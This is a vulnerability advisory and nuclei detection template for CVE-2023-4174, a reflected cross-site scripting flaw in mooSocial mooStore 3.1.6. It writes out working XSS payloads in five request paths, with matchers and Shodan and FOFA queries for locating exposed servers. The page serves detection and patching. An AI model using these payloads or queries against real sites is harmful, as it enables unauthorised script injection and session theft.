mooSocial 3.1.6 - Reflected Cross Site Scripting

mediumseverity

6.1CVSS score

9.1%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A vulnerability has been found in mooSocial mooStore 3.1.6 and classified as problematic. Affected by this vulnerability is an unknown functionality. The manipulation leads to cross site scripting. The attack can be launched remotely.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version of mooSocial or apply the vendor-provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/search/index?q="><img+src=a+onerror=alert(document.domain)>ridxm ; GET {{BaseURL}}/stores"><img+src=a+onerror=alert(document.domain)>ridxm/all-products?store_id=&keyword=&price_from=&price_to=&rating=&store_category_id=&… ; GET {{BaseURL}}/user_info"><img+src=a+onerror=alert(document.domain)>ridxm/index/friends ; GET {{BaseURL}}/faqs"><img+src=a+onerror=alert(document.domain)>ridxm/index?content_search="><img+src=a+onerror=alert(document.domain)>ridxm ; GET {{BaseURL}}/classifieds"><img+src=a+onerror=alert(document.domain)>ridxm/search?category=1
Positive when: contains "<img src=a onerror=alert(document.domain)>ridxm" and "mooSocial" AND contains in header "text/html"

Run it with nuclei: nuclei -id CVE-2023-4174 -u <target>

The full check

id: CVE-2023-4174

info:
  name: mooSocial 3.1.6 - Reflected Cross Site Scripting
  author: momika233
  severity: medium
  description: |
    A vulnerability has been found in mooSocial mooStore 3.1.6 and classified as problematic. Affected by this vulnerability is an unknown functionality. The manipulation leads to cross site scripting. The attack can be launched remotely.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of mooSocial or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/51671
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4174
    - https://packetstormsecurity.com/files/174017/Social-Commerce-3.1.6-Cross-Site-Scripting.html
    - https://vuldb.com/?ctiid.236209
    - https://vuldb.com/?id.236209
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4174
    cwe-id: CWE-79
    epss-score: 0.09138
    epss-percentile: 0.95356
    cpe: cpe:2.3:a:moosocial:moostore:3.1.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: moosocial
    product: moostore
    shodan-query: http.favicon.hash:"702863115"
    fofa-query:
      - icon_hash="702863115"
      - moosocial
  tags: cve,cve2023,packetstorm,moosocial,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/search/index?q="><img+src=a+onerror=alert(document.domain)>ridxm'
      - '{{BaseURL}}/stores"><img+src=a+onerror=alert(document.domain)>ridxm/all-products?store_id=&keyword=&price_from=&price_to=&rating=&store_category_id=&sortby=most_recent'
      - '{{BaseURL}}/user_info"><img+src=a+onerror=alert(document.domain)>ridxm/index/friends'
      - '{{BaseURL}}/faqs"><img+src=a+onerror=alert(document.domain)>ridxm/index?content_search="><img+src=a+onerror=alert(document.domain)>ridxm'
      - '{{BaseURL}}/classifieds"><img+src=a+onerror=alert(document.domain)>ridxm/search?category=1'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=a onerror=alert(document.domain)>ridxm"
          - "mooSocial"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

References

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